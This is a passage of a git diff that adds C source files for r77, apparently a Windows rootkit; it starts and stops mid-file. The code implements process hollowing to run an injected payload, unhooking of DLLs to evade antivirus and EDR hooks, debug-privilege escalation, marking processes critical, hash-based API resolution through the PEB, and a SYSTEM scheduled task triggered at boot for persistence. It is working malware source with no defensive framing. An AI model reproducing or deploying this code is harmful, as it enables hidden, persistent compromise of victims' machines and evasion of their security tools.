"RtlSetProcessIsCritical"))(newIsCritical, oldIsCritical, needScb); +} +BOOL IsWindows10OrGreater2() +{ + OSVERSIONINFOEXW versionInfo; + libc_memset(&versionInfo, 0, sizeof(OSVERSIONINFOEXW)); + versionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFOEXW); + versionInfo.dwMajorVersion = HIBYTE(_WIN32_WINNT_WINTHRESHOLD); + versionInfo.dwMinorVersion = LOBYTE(_WIN32_WINNT_WINTHRESHOLD); + versionInfo.wServicePackMajor = 0; + + DWORDLONG conditionMask = VerSetConditionMask(VerSetConditionMask(VerSetConditionMask(0, VER_MAJORVERSION, VER_GREATER_EQUAL), VER_MINORVERSION, VER_GREATER_EQUAL), VER_SERVICEPACKMAJOR, VER_GREATER_EQUAL); + return VerifyVersionInfoW(&versionInfo, VER_MAJORVERSION | VER_MINORVERSION | VER_SERVICEPACKMAJOR, conditionMask) != FALSE; +} \ No newline at end of file diff --git a/r77api/r77runtime.h b/r77api/r77runtime.h new file mode 100644 index 0000000..3e98359 --- /dev/null +++ b/r77api/r77runtime.h @@ -0,0 +1,24 @@ +#include "r77mindef.h" +#ifndef _R77RUNTIME_H +#define _R77RUNTIME_H + +// Shellcode variants of libc functions +// - Used by the reflective loader, prior to any DLL's being loaded +// - Used where MSVCRT replacements are needed, when /NODEFAULTLIB is used + +VOID libc_memcpy(LPVOID dest, LPVOID src, SIZE_T size); +VOID libc_wmemcpy(LPVOID dest, LPVOID src, SIZE_T size); +VOID libc_memset(LPVOID dest, INT value, SIZE_T size); +VOID libc_ltow(LONG value, PWCHAR buffer); +DWORD libc_strhash(LPCSTR str); +DWORD libc_strhashi(LPCSTR str, USHORT length); + +// API's that are called by using GetProcAddress + +NTSTATUS NTAPI NtQueryObject2(HANDLE handle, OBJECT_INFORMATION_CLASS objectInformationClass, LPVOID objectInformation, ULONG objectInformationLength, PULONG returnLength); +NTSTATUS NTAPI NtCreateThreadEx(PHANDLE thread, ACCESS_MASK desiredAccess, LPVOID objectAttributes, HANDLE processHandle, LPVOID startAddress, LPVOID parameter, ULONG flags, SIZE_T stackZeroBits, SIZE_T sizeOfStackCommit, SIZE_T sizeOfStackReserve, LPVOID bytesBuffer); +NTSTATUS NTAPI RtlAdjustPrivilege(ULONG privilege, BOOLEAN enablePrivilege, BOOLEAN isThreadPrivilege, PBOOLEAN previousValue); +NTSTATUS NTAPI RtlSetProcessIsCritical(BOOLEAN newIsCritical, PBOOLEAN oldIsCritical, BOOLEAN needScb); +BOOL IsWindows10OrGreater2(); + +#endif \ No newline at end of file diff --git a/r77api/r77win.c b/r77api/r77win.c new file mode 100644 index 0000000..637d5d0 --- /dev/null +++ b/r77api/r77win.c @@ -0,0 +1,889 @@ +#include "r77win.h" +#include "r77runtime.h" +#include "ntdll.h" +#include +#include +#include +#include +#include + +BOOL GetRandomBytes(LPVOID buffer, DWORD size) +{ + BOOL result = FALSE; + + HCRYPTPROV cryptProvider; + if (CryptAcquireContextW(&cryptProvider, NULL, L"Microsoft Base Cryptographic Provider v1.0", PROV_RSA_FULL, CRYPT_VERIFYCONTEXT)) + { + if (CryptGenRandom(cryptProvider, size, buffer)) + { + result = TRUE; + } + + CryptReleaseContext(cryptProvider, 0); + } + + return result; +} +BOOL GetRandomString(PWCHAR str, DWORD length) +{ + WCHAR characters[] = L"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"; + + if (GetRandomBytes(str, length * 2)) + { + for (DWORD i = 0; i < length; i++) + { + str[i] = characters[str[i] % (sizeof(characters) / sizeof(WCHAR) - 1)]; + } + + str[length] = L'\0'; + return TRUE; + } + else + { + return FALSE; + } +} +LPCSTR ConvertStringToAString(LPCWSTR str) +{ + PCHAR result = NULL; + + int length = WideCharToMultiByte(CP_ACP, 0, str, -1, NULL, 0, NULL, NULL); + if (length > 0) + { + result = NEW_ARRAY(CHAR, length); + if (WideCharToMultiByte(CP_ACP, 0, str, -1, result, length, NULL, NULL) <= 0) + { + FREE(result); + result = NULL; + } + } + + return result; +} +LPWSTR ConvertUnicodeStringToString(UNICODE_STRING str) +{ + if (str.Buffer) + { + PWCHAR buffer = NEW_ARRAY(WCHAR, str.Length / sizeof(WCHAR) + 1); + libc_wmemcpy(buffer, str.Buffer, str.Length / sizeof(WCHAR)); + buffer[str.Length / sizeof(WCHAR)] = L'\0'; + + return buffer; + } + else + { + return NULL; + } +} + +BOOL Is64BitOperatingSystem() +{ + BOOL wow64 = FALSE; + return BITNESS(64) || IsWow64Process(GetCurrentProcess(), &wow64) && wow64; +} +BOOL Is64BitProcess(DWORD processId, LPBOOL is64Bit) +{ + BOOL result = FALSE; + + if (Is64BitOperatingSystem()) + { + HANDLE process = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, FALSE, processId); + if (process) + { + BOOL wow64; + if (IsWow64Process(process, &wow64)) + { + *is64Bit = wow64 ? FALSE : TRUE; + result = TRUE; + } + + CloseHandle(process); + } + } + else + { + *is64Bit = FALSE; + result = TRUE; + } + + return result; +} +LPVOID GetFunction(LPCSTR dll, LPCSTR function) +{ + HMODULE module = GetModuleHandleA(dll); + return module ? (LPVOID)GetProcAddress(module, function) : NULL; +} +BOOL GetProcessIntegrityLevel(HANDLE process, LPDWORD integrityLevel) +{ + BOOL result = FALSE; + + HANDLE token; + if (OpenProcessToken(process, TOKEN_QUERY, &token)) + { + DWORD tokenSize; + if (!GetTokenInformation(token, TokenIntegrityLevel, NULL, 0, &tokenSize) && GetLastError() == ERROR_INSUFFICIENT_BUFFER) + { + PTOKEN_MANDATORY_LABEL tokenMandatoryLabel = (PTOKEN_MANDATORY_LABEL)LocalAlloc(0, tokenSize); + if (tokenMandatoryLabel) + { + if (GetTokenInformation(token, TokenIntegrityLevel, tokenMandatoryLabel, tokenSize, &tokenSize)) + { + *integrityLevel = *GetSidSubAuthority(tokenMandatoryLabel->Label.Sid, *GetSidSubAuthorityCount(tokenMandatoryLabel->Label.Sid) - 1); + result = TRUE; + } + + LocalFree(tokenMandatoryLabel); + } + } + + CloseHandle(token); + } + + return result; +} +BOOL GetProcessFileName(DWORD processId, BOOL fullPath, LPWSTR fileName, DWORD fileNameLength) +{ + BOOL result = FALSE; + + HANDLE process = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, processId); + if (process) + { + WCHAR path[MAX_PATH + 1]; + if (GetModuleFileNameExW(process, NULL, path, MAX_PATH)) + { + PWCHAR resultFileName = fullPath ? path : PathFindFileNameW(path); + if ((DWORD)lstrlenW(resultFileName) <= fileNameLength) + { + lstrcpyW(fileName, resultFileName); + result = TRUE; + } + } + + CloseHandle(process); + } + + return result; +} +BOOL GetProcessUserName(HANDLE process, PWCHAR name, LPDWORD nameLength) +{ + BOOL result = FALSE; + + HANDLE token; + if (OpenProcessToken(process, TOKEN_QUERY, &token)) + { + DWORD tokenSize = 0; + if (!GetTokenInformation(token, TokenUser, NULL, 0, &tokenSize) && GetLastError() == ERROR_INSUFFICIENT_BUFFER) + { + PTOKEN_USER tokenUser = (PTOKEN_USER)LocalAlloc(0, tokenSize); + if (tokenUser) + { + if (GetTokenInformation(token, TokenUser, tokenUser, tokenSize, &tokenSize)) + { + WCHAR domain[256]; + DWORD domainLength = 256; + SID_NAME_USE sidType; + result = LookupAccountSidW(NULL, tokenUser->User.Sid, name, nameLength, domain, &domainLength, &sidType); + } + + LocalFree(tokenUser); + } + } + + CloseHandle(token); + } + + return result; +} +BOOL EnabledDebugPrivilege() +{ + BOOL result = FALSE; + + HANDLE process = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, GetCurrentProcessId()); + if (process) + { + HANDLE token; + if (OpenProcessToken(process, TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &token)) + { + LUID luid; + if (LookupPrivilegeValueW(NULL, L"SeDebugPrivilege", &luid)) + { + TOKEN_PRIVILEGES tokenPrivileges; + tokenPrivileges.PrivilegeCount = 1; + tokenPrivileges.Privileges[0].Luid = luid; + tokenPrivileges.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; + + if (AdjustTokenPrivileges(token, FALSE, &tokenPrivileges, sizeof(TOKEN_PRIVILEGES), NULL, NULL)) + { + result = GetLastError() != ERROR_NOT_ALL_ASSIGNED; + } + } + } + + CloseHandle(process); + } + + return result; +} +BOOL GetResource(DWORD resourceID, PCSTR type, LPBYTE *data, LPDWORD size) +{ + HRSRC resource = FindResourceA(NULL, MAKEINTRESOURCEA(resourceID), type); + if (resource) + { + *size = SizeofResource(NULL, resource); + if (*size) + { + HGLOBAL resourceData = LoadResource(NULL, resource); + if (resourceData) + { + *data = (LPBYTE)LockResource(resourceData); + return TRUE; + } + } + } + + return FALSE; +} +BOOL GetPathFromHandle(HANDLE file, LPWSTR fileName, DWORD fileNameLength) +{ + BOOL result = FALSE; + + WCHAR path[MAX_PATH + 1]; + if (GetFinalPathNameByHandleW(file, path, MAX_PATH, FILE_NAME_NORMALIZED) > 0 && !StrCmpNIW(path, L"\\\\?\\", 4)) + { + PWCHAR resultFileName = &path[4]; + if ((DWORD)lstrlenW(resultFileName) <= fileNameLength) + { + lstrcpyW(fileName, resultFileName); + result = TRUE; + } + } + + return result; +} +BOOL ReadFileContent(LPCWSTR path, LPBYTE *data, LPDWORD size) +{ + BOOL result = FALSE; + + HANDLE file = CreateFileW(path, GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); + if (file != INVALID_HANDLE_VALUE) + { + DWORD fileSize = GetFileSize(file, NULL); + if (fileSize != INVALID_FILE_SIZE) + { + LPBYTE fileData = NEW_ARRAY(BYTE, fileSize); + + DWORD bytesRead; + if (ReadFile(file, fileData, fileSize, &bytesRead, NULL) && bytesRead == fileSize) + { + *data = fileData; + if (size) *size = fileSize; + result = TRUE; + } + else + { + FREE(fileData); + } + } + + CloseHandle(file); + } + + return result; +} +BOOL ReadFileStringW(HANDLE file, PWCHAR str, DWORD length) +{ + BOOL result = FALSE; + + for (DWORD count = 0; count < length; count++) + { + DWORD bytesRead; + if (!ReadFile(file, &str[count], sizeof(WCHAR), &bytesRead, NULL) || bytesRead != sizeof(WCHAR)) + { + result = FALSE; + break; + } + + if (str[count] == L'\0') + { + result = TRUE; + break; + } + } + + return result; +} +BOOL WriteFileContent(LPCWSTR path, LPBYTE data, DWORD size) +{ + BOOL result = FALSE; + + HANDLE file = CreateFileW(path, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL); + if (file != INVALID_HANDLE_VALUE) + { + DWORD bytesWritten; + result = WriteFile(file, data, size, &bytesWritten, NULL); + CloseHandle(file); + } + + return result; +} +BOOL CreateTempFile(LPBYTE file, DWORD fileSize, LPCWSTR extension, LPWSTR resultPath) +{ + BOOL result = FALSE; + WCHAR tempPath[MAX_PATH + 1]; + + if (GetTempPathW(MAX_PATH, tempPath)) + { + WCHAR fileName[MAX_PATH + 1]; + if (GetRandomString(fileName, 8)) + { + lstrcatW(fileName, L"."); + lstrcatW(fileName, extension); + + if (PathCombineW(resultPath, tempPath, fileName) && WriteFileContent(resultPath, file, fileSize)) + { + result = TRUE; + } + } + } + + return result; +} +BOOL ExecuteFile(LPCWSTR path, BOOL deleteFile) +{ + BOOL result = FALSE; + + STARTUPINFOW startupInfo; + PROCESS_INFORMATION processInformation; + libc_memset(&startupInfo, 0, sizeof(STARTUPINFOW)); + libc_memset(&processInformation, 0, sizeof(PROCESS_INFORMATION)); + startupInfo.cb = sizeof(startupInfo); + + if (CreateProcessW(path, NULL, NULL, NULL, FALSE, 0, NULL, NULL, &startupInfo, &processInformation)) + { + WaitForSingleObject(processInformation.hProcess, 10000); + CloseHandle(processInformation.hProcess); + CloseHandle(processInformation.hThread); + + result = TRUE; + } + + if (deleteFile) + { + for (int i = 0; i < 10; i++) + { + if (DeleteFileW(path)) break; + Sleep(100); + } + } + + return result; +} +BOOL CreateScheduledTask(LPCWSTR name, LPCWSTR directory, LPCWSTR fileName, LPCWSTR arguments) +{ + BOOL result = FALSE; + + BSTR nameBstr = SysAllocString(name); + BSTR directoryBstr = SysAllocString(directory); + BSTR fileNameBstr = SysAllocString(fileName); + BSTR argumentsBstr = SysAllocString(arguments); + BSTR folderPathBstr = SysAllocString(L"\\"); + BSTR userIdBstr = SysAllocString(L"SYSTEM"); + + if (SUCCEEDED(CoInitializeEx(NULL, COINIT_MULTITHREADED))) + { + HRESULT initializeSecurityResult = CoInitializeSecurity(NULL, -1, NULL, NULL, RPC_C_AUTHN_LEVEL_PKT_PRIVACY, RPC_C_IMP_LEVEL_IMPERSONATE, NULL, 0, NULL); + if (SUCCEEDED(initializeSecurityResult) || initializeSecurityResult == RPC_E_TOO_LATE) + { + ITaskService *service = NULL; + if (SUCCEEDED(CoCreateInstance((LPCLSID)&CLSID_TaskScheduler, NULL, CLSCTX_INPROC_SERVER, (LPCLSID)&IID_ITaskService, (LPVOID*)&service))) + { + VARIANT empty; + VariantInit(&empty); + + if (SUCCEEDED(service->lpVtbl->Connect(service, empty, empty, empty, empty))) + { + ITaskFolder *folder = NULL; + if (SUCCEEDED(service->lpVtbl->GetFolder(service, folderPathBstr, &folder))) + { + ITaskDefinition *task = NULL; + if (SUCCEEDED(service->lpVtbl->NewTask(service, 0, &task))) + { + ITaskSettings *settings = NULL; + if (SUCCEEDED(task->lpVtbl->get_Settings(task, &settings))) + { + if (SUCCEEDED(settings->lpVtbl->put_StartWhenAvailable(settings, VARIANT_TRUE))) + { + ITriggerCollection *triggerCollection = NULL; + if (SUCCEEDED(task->lpVtbl->get_Triggers(task, &triggerCollection))) + { + ITrigger *trigger = NULL; + if (SUCCEEDED(triggerCollection->lpVtbl->Create(triggerCollection, TASK_TRIGGER_BOOT, &trigger))) + { + IBootTrigger *bootTrigger = NULL; + if (SUCCEEDED(trigger->lpVtbl->QueryInterface(trigger, (LPCLSID)&IID_IBootTrigger, (LPVOID*)&bootTrigger))) + { + IActionCollection *actionCollection = NULL; + if (SUCCEEDED(task->lpVtbl->get_Actions(task, &actionCollection))) + { + IAction *action = NULL; + if (SUCCEEDED(actionCollection->lpVtbl->Create(actionCollection, TASK_ACTION_EXEC, &action))) + { + IExecAction *execAction = NULL; + if (SUCCEEDED(action->lpVtbl->QueryInterface(action, (LPCLSID)&IID_IExecAction, (LPVOID*)&execAction))) + { + if (SUCCEEDED(execAction->lpVtbl->put_WorkingDirectory(execAction, directoryBstr)) && + SUCCEEDED(execAction->lpVtbl->put_Path(execAction, fileNameBstr)) && + SUCCEEDED(execAction->lpVtbl->put_Arguments(execAction, argumentsBstr))) + { + VARIANT password; + VariantInit(&password); + + VARIANT userId; + VariantInit(&userId); + userId.vt = VT_BSTR; + userId.bstrVal = userIdBstr; + + VARIANT sddl; + VariantInit(&sddl); + + IRegisteredTask *registeredTask = NULL; + HRESULT hr = folder->lpVtbl->RegisterTaskDefinition(folder, nameBstr, task, TASK_CREATE_OR_UPDATE, userId, password, TASK_LOGON_SERVICE_ACCOUNT, sddl, ®isteredTask); + if (SUCCEEDED(hr)) + { + result = TRUE; + + registeredTask->lpVtbl->Release(registeredTask); + } + } + + execAction->lpVtbl->Release(execAction); + } + + action->lpVtbl->Release(action); + } + + actionCollection->lpVtbl->Release(actionCollection); + } + + bootTrigger->lpVtbl->Release(bootTrigger); + } + + trigger->lpVtbl->Release(trigger); + } + + triggerCollection->lpVtbl->Release(triggerCollection); + } + } + + settings->lpVtbl->Release(settings); + } + + task->lpVtbl->Release(task); + } + + folder->lpVtbl->Release(folder); + } + } + + service->lpVtbl->Release(service); + } + } + + CoUninitialize(); + } + + SysFreeString(nameBstr); + SysFreeString(directoryBstr); + SysFreeString(fileNameBstr); + SysFreeString(argumentsBstr); + SysFreeString(folderPathBstr); + SysFreeString(userIdBstr); + + return result; +} +BOOL RunScheduledTask(LPCWSTR name) +{ + BOOL result = FALSE; + + BSTR nameBstr = SysAllocString(name); + BSTR folderPathBstr = SysAllocString(L"\\"); + + if (SUCCEEDED(CoInitializeEx(NULL, COINIT_MULTITHREADED))) + { + HRESULT initializeSecurityResult = CoInitializeSecurity(NULL, -1, NULL, NULL, RPC_C_AUTHN_LEVEL_PKT_PRIVACY, RPC_C_IMP_LEVEL_IMPERSONATE, NULL, 0, NULL); + if (SUCCEEDED(initializeSecurityResult) || initializeSecurityResult == RPC_E_TOO_LATE) + { + ITaskService *service = NULL; + if (SUCCEEDED(CoCreateInstance((LPCLSID)&CLSID_TaskScheduler, NULL, CLSCTX_INPROC_SERVER, (LPCLSID)&IID_ITaskService, (LPVOID*)&service))) + { + VARIANT empty; + VariantInit(&empty); + + if (SUCCEEDED(service->lpVtbl->Connect(service, empty, empty, empty, empty))) + { + ITaskFolder *folder = NULL; + if (SUCCEEDED(service->lpVtbl->GetFolder(service, folderPathBstr, &folder))) + { + IRegisteredTask *task = NULL; + if (SUCCEEDED(folder->lpVtbl->GetTask(folder, nameBstr, &task))) + { + VARIANT params; + VariantInit(¶ms); + + IRunningTask *runningTask = NULL; + if (SUCCEEDED(task->lpVtbl->Run(task, params, &runningTask))) + { + result = TRUE; + + runningTask->lpVtbl->Release(runningTask); + } + + task->lpVtbl->Release(task); + } + + folder->lpVtbl->Release(folder); + } + } + + service->lpVtbl->Release(service); + } + } + + CoUninitialize(); + } + + SysFreeString(nameBstr); + SysFreeString(folderPathBstr); + + return result; +} +BOOL DeleteScheduledTask(LPCWSTR name) +{ + BOOL result = FALSE; + + BSTR nameBstr = SysAllocString(name); + BSTR folderPathBstr = SysAllocString(L"\\"); + + if (SUCCEEDED(CoInitializeEx(NULL, COINIT_MULTITHREADED))) + { + HRESULT initializeSecurityResult = CoInitializeSecurity(NULL, -1, NULL, NULL, RPC_C_AUTHN_LEVEL_PKT_PRIVACY, RPC_C_IMP_LEVEL_IMPERSONATE, NULL, 0, NULL); + if (SUCCEEDED(initializeSecurityResult) || initializeSecurityResult == RPC_E_TOO_LATE) + { + ITaskService *service = NULL; + if (SUCCEEDED(CoCreateInstance((LPCLSID)&CLSID_TaskScheduler, NULL, CLSCTX_INPROC_SERVER, (LPCLSID)&IID_ITaskService, (LPVOID*)&service))) + { + VARIANT empty; + VariantInit(&empty); + + if (SUCCEEDED(service->lpVtbl->Connect(service, empty, empty, empty, empty))) + { + ITaskFolder *folder = NULL; + if (SUCCEEDED(service->lpVtbl->GetFolder(service, folderPathBstr, &folder))) + { + if (SUCCEEDED(folder->lpVtbl->DeleteTask(folder, nameBstr, 0))) + { + result = TRUE; + } + + folder->lpVtbl->Release(folder); + } + } + + service->lpVtbl->Release(service); + } + } + + CoUninitialize(); + } + + SysFreeString(nameBstr); + SysFreeString(folderPathBstr); + + return result; +} +HANDLE CreatePublicNamedPipe(LPCWSTR name) +{ + // Get security attributes for "EVERYONE", so the named pipe is accessible to all processes. + + SID_IDENTIFIER_AUTHORITY authority = SECURITY_WORLD_SID_AUTHORITY; + PSID everyoneSid; + if (!AllocateAndInitializeSid(&authority, 1, SECURITY_WORLD_RID, 0, 0, 0, 0, 0, 0, 0, &everyoneSid)) return INVALID_HANDLE_VALUE; + + EXPLICIT_ACCESSW explicitAccess; + libc_memset(&explicitAccess, 0, sizeof(EXPLICIT_ACCESSW)); + explicitAccess.grfAccessPermissions = FILE_ALL_ACCESS; + explicitAccess.grfAccessMode = SET_ACCESS; + explicitAccess.grfInheritance = NO_INHERITANCE; + explicitAccess.Trustee.TrusteeForm = TRUSTEE_IS_SID; + explicitAccess.Trustee.TrusteeType = TRUSTEE_IS_WELL_KNOWN_GROUP; + explicitAccess.Trustee.ptstrName = (LPWSTR)everyoneSid; + + PACL acl; + if (SetEntriesInAclW(1, &explicitAccess, NULL, &acl) != ERROR_SUCCESS) return INVALID_HANDLE_VALUE; + + PSECURITY_DESCRIPTOR securityDescriptor = (PSECURITY_DESCRIPTOR)LocalAlloc(LPTR, SECURITY_DESCRIPTOR_MIN_LENGTH); + if (!securityDescriptor || + !InitializeSecurityDescriptor(securityDescriptor, SECURITY_DESCRIPTOR_REVISION) || + !SetSecurityDescriptorDacl(securityDescriptor, TRUE, acl, FALSE)) return INVALID_HANDLE_VALUE; + + SECURITY_ATTRIBUTES securityAttributes; + securityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); + securityAttributes.lpSecurityDescriptor = securityDescriptor; + securityAttributes.bInheritHandle = FALSE; + + return CreateNamedPipeW(name, PIPE_ACCESS_DUPLEX, PIPE_TYPE_BYTE | PIPE_READMODE_BYTE | PIPE_WAIT, PIPE_UNLIMITED_INSTANCES, 1024, 1024, NMPWAIT_USE_DEFAULT_WAIT, &securityAttributes); +} + +BOOL IsExecutable64Bit(LPBYTE image, LPBOOL is64Bit) +{ + PIMAGE_NT_HEADERS ntHeaders = (PIMAGE_NT_HEADERS)(image + ((PIMAGE_DOS_HEADER)image)->e_lfanew); + + if (ntHeaders->Signature == IMAGE_NT_SIGNATURE) + { + switch (ntHeaders->OptionalHeader.Magic) + { + case 0x10b: + *is64Bit = FALSE; + return TRUE; + case 0x20b: + *is64Bit = TRUE; + return TRUE; + } + } + + return FALSE; +} +LPVOID PebGetProcAddress(DWORD moduleHash, DWORD functionHash) +{ +#ifdef _WIN64 + PNT_PEB_LDR_DATA peb = (PNT_PEB_LDR_DATA)((PNT_PEB)__readgsqword(0x60))->Ldr; +#else + PNT_PEB_LDR_DATA peb = (PNT_PEB_LDR_DATA)((PNT_PEB)__readfsdword(0x30))->Ldr; +#endif + + PNT_LDR_DATA_TABLE_ENTRY firstPebEntry = (PNT_LDR_DATA_TABLE_ENTRY)peb->InMemoryOrderModuleList.Flink; + PNT_LDR_DATA_TABLE_ENTRY pebEntry = firstPebEntry; + do + { + // Find module by hash + if (pebEntry->BaseDllName.Buffer && libc_strhashi((LPCSTR)pebEntry->BaseDllName.Buffer, pebEntry->BaseDllName.Length) == moduleHash) + { + LPBYTE dllBase = (LPBYTE)pebEntry->DllBase; + PIMAGE_NT_HEADERS ntHeaders = (PIMAGE_NT_HEADERS)(dllBase + ((PIMAGE_DOS_HEADER)dllBase)->e_lfanew); + PIMAGE_EXPORT_DIRECTORY exportDirectory = (PIMAGE_EXPORT_DIRECTORY)(dllBase + ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress); + LPDWORD nameDirectory = (LPDWORD)(dllBase + exportDirectory->AddressOfNames); + LPWORD nameOrdinalDirectory = (LPWORD)(dllBase + exportDirectory->AddressOfNameOrdinals); + + // Find function by hash + for (DWORD i = 0; i < exportDirectory->NumberOfNames; i++, nameDirectory++, nameOrdinalDirectory++) + { + if (libc_strhash((LPCSTR)(dllBase + *nameDirectory)) == functionHash) + { + return dllBase + *(LPDWORD)(dllBase + exportDirectory->AddressOfFunctions + *nameOrdinalDirectory * sizeof(DWORD)); + } + } + + return NULL; + } + } + while ((pebEntry = (PNT_LDR_DATA_TABLE_ENTRY)pebEntry->InMemoryOrderModuleList.Flink) != firstPebEntry); + + return NULL; +} +BOOL RunPE(LPCWSTR path, LPBYTE payload) +{ + // For 32-bit (and 64-bit?) process hollowing, this needs to be attempted several times. + // This is a workaround to the well known stability issue of process hollowing. + for (DWORD i = 0; i < 5; i++) + { + DWORD processId = 0; + PIMAGE_NT_HEADERS ntHeaders = (PIMAGE_NT_HEADERS)(payload + ((PIMAGE_DOS_HEADER)payload)->e_lfanew); + + if (ntHeaders->Signature == IMAGE_NT_SIGNATURE) + { + STARTUPINFOW startupInfo; + PROCESS_INFORMATION processInformation; + libc_memset(&startupInfo, 0, sizeof(STARTUPINFOW)); + libc_memset(&processInformation, 0, sizeof(PROCESS_INFORMATION)); + startupInfo.cb = sizeof(startupInfo); + + if (CreateProcessW(path, NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &startupInfo, &processInformation)) + { + processId = processInformation.dwProcessId; + + //TODO: NtUnmapViewOfSection here + + LPVOID imageBase = VirtualAllocEx(processInformation.hProcess, (LPVOID)ntHeaders->OptionalHeader.ImageBase, ntHeaders->OptionalHeader.SizeOfImage, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); + if (imageBase && WriteProcessMemory(processInformation.hProcess, imageBase, payload, ntHeaders->OptionalHeader.SizeOfHeaders, NULL)) + { + BOOL sectionsWritten = TRUE; + + for (int j = 0; j < ntHeaders->FileHeader.NumberOfSections; j++) + { + PIMAGE_SECTION_HEADER sectionHeader = (PIMAGE_SECTION_HEADER)((ULONG_PTR)IMAGE_FIRST_SECTION(ntHeaders) + j * (ULONG_PTR)IMAGE_SIZEOF_SECTION_HEADER); + + if (!WriteProcessMemory(processInformation.hProcess, (LPBYTE)imageBase + sectionHeader->VirtualAddress, (LPBYTE)payload + sectionHeader->PointerToRawData, sectionHeader->SizeOfRawData, NULL)) + { + sectionsWritten = FALSE; + break; + } + } + + if (sectionsWritten) + { + LPCONTEXT context = (LPCONTEXT)VirtualAlloc(NULL, sizeof(CONTEXT), MEM_COMMIT, PAGE_READWRITE); + if (context) + { + context->ContextFlags = CONTEXT_FULL; + + if (GetThreadContext(processInformation.hThread, context)) + { +#ifdef _WIN64 + if (WriteProcessMemory(processInformation.hProcess, (LPVOID)(context->Rdx + sizeof(LPVOID) * 2), &ntHeaders->OptionalHeader.ImageBase, sizeof(LPVOID), NULL)) + { + context->Rcx = (DWORD64)imageBase + ntHeaders->OptionalHeader.AddressOfEntryPoint; + if (SetThreadContext(processInformation.hThread, context) && + ResumeThread(processInformation.hThread) != -1) + { + return TRUE; + } + } +#else + if (WriteProcessMemory(processInformation.hProcess, (LPVOID)(context->Ebx + sizeof(LPVOID) * 2), &ntHeaders->OptionalHeader.ImageBase, sizeof(LPVOID), NULL)) + { + context->Eax = (DWORD)imageBase + ntHeaders->OptionalHeader.AddressOfEntryPoint; + if (SetThreadContext(processInformation.hThread, context) && + ResumeThread(processInformation.hThread) != -1) + { + return TRUE; + } + } +#endif + } + } + } + } + } + } + + if (processId != 0) + { + HANDLE process = OpenProcess(PROCESS_TERMINATE, FALSE, processId); + if (process) + { + TerminateProcess(process, 0); + } + } + } + + return FALSE; +} +DWORD GetExecutableFunction(LPBYTE image, LPCSTR functionName) +{ + BOOL is64Bit; + if (IsExecutable64Bit(image, &is64Bit) && BITNESS(is64Bit ? 64 : 32)) + { + PIMAGE_NT_HEADERS ntHeaders = (PIMAGE_NT_HEADERS)(image + ((PIMAGE_DOS_HEADER)image)->e_lfanew); + PIMAGE_EXPORT_DIRECTORY exportDirectory = (PIMAGE_EXPORT_DIRECTORY)(image + RvaToOffset(image, ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress)); + LPDWORD nameDirectory = (LPDWORD)(image + RvaToOffset(image, exportDirectory->AddressOfNames)); + LPWORD nameOrdinalDirectory = (LPWORD)(image + RvaToOffset(image, exportDirectory->AddressOfNameOrdinals)); + + for (DWORD i = 0; i < exportDirectory->NumberOfNames; i++) + { + if (StrStrA((PCHAR)(image + RvaToOffset(image, *nameDirectory)), functionName)) + { + return RvaToOffset(image, *(LPDWORD)(image + RvaToOffset(image, exportDirectory->AddressOfFunctions) + *nameOrdinalDirectory * sizeof(DWORD))); + } + + nameDirectory++; + nameOrdinalDirectory++; + } + } + + return 0; +} +DWORD RvaToOffset(LPBYTE image, DWORD rva) +{ + PIMAGE_NT_HEADERS ntHeaders = (PIMAGE_NT_HEADERS)(image + ((PIMAGE_DOS_HEADER)image)->e_lfanew); + PIMAGE_SECTION_HEADER sections = (PIMAGE_SECTION_HEADER)((LPBYTE)&ntHeaders->OptionalHeader + ntHeaders->FileHeader.SizeOfOptionalHeader); + + if (rva < sections[0].PointerToRawData) + { + return rva; + } + else + { + for (WORD i = 0; i < ntHeaders->FileHeader.NumberOfSections; i++) + { + if (rva >= sections[i].VirtualAddress && rva < sections[i].VirtualAddress + sections[i].SizeOfRawData) + { + return rva - sections[i].VirtualAddress + sections[i].PointerToRawData; + } + } + + return 0; + } +} +VOID UnhookDll(LPCWSTR name) +{ + if (name) + { + WCHAR path[MAX_PATH + 1]; + if (Is64BitOperatingSystem() && BITNESS(32)) lstrcpyW(path, L"C:\\Windows\\SysWOW64\\"); + else lstrcpyW(path, L"C:\\Windows\\System32\\"); + + lstrcatW(path, name); + + // Get original DLL handle. This DLL is possibly hooked by AV/EDR solutions. + HMODULE dll = GetModuleHandleW(name); + if (dll) + { + MODULEINFO moduleInfo; + libc_memset(&moduleInfo, 0, sizeof(MODULEINFO)); + + if (GetModuleInformation(GetCurrentProcess(), dll, &moduleInfo, sizeof(MODULEINFO))) + { + // Retrieve a clean copy of the DLL file. + HANDLE dllFile = CreateFileW(path, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL); + if (dllFile != INVALID_HANDLE_VALUE) + { + // Map the clean DLL into memory + HANDLE dllMapping = CreateFileMappingW(dllFile, NULL, PAGE_READONLY | SEC_IMAGE, 0, 0, NULL); + if (dllMapping) + { + LPVOID dllMappedFile = MapViewOfFile(dllMapping, FILE_MAP_READ, 0, 0, 0); + if (dllMappedFile) + { + PIMAGE_NT_HEADERS ntHeaders = (PIMAGE_NT_HEADERS)((ULONG_PTR)moduleInfo.lpBaseOfDll + ((PIMAGE_DOS_HEADER)moduleInfo.lpBaseOfDll)->e_lfanew); + + for (WORD i = 0; i < ntHeaders->FileHeader.NumberOfSections; i++) + { + PIMAGE_SECTION_HEADER sectionHeader = (PIMAGE_SECTION_HEADER)((ULONG_PTR)IMAGE_FIRST_SECTION(ntHeaders) + (i * (ULONG_PTR)IMAGE_SIZEOF_SECTION_HEADER)); + + // Find the .text section of 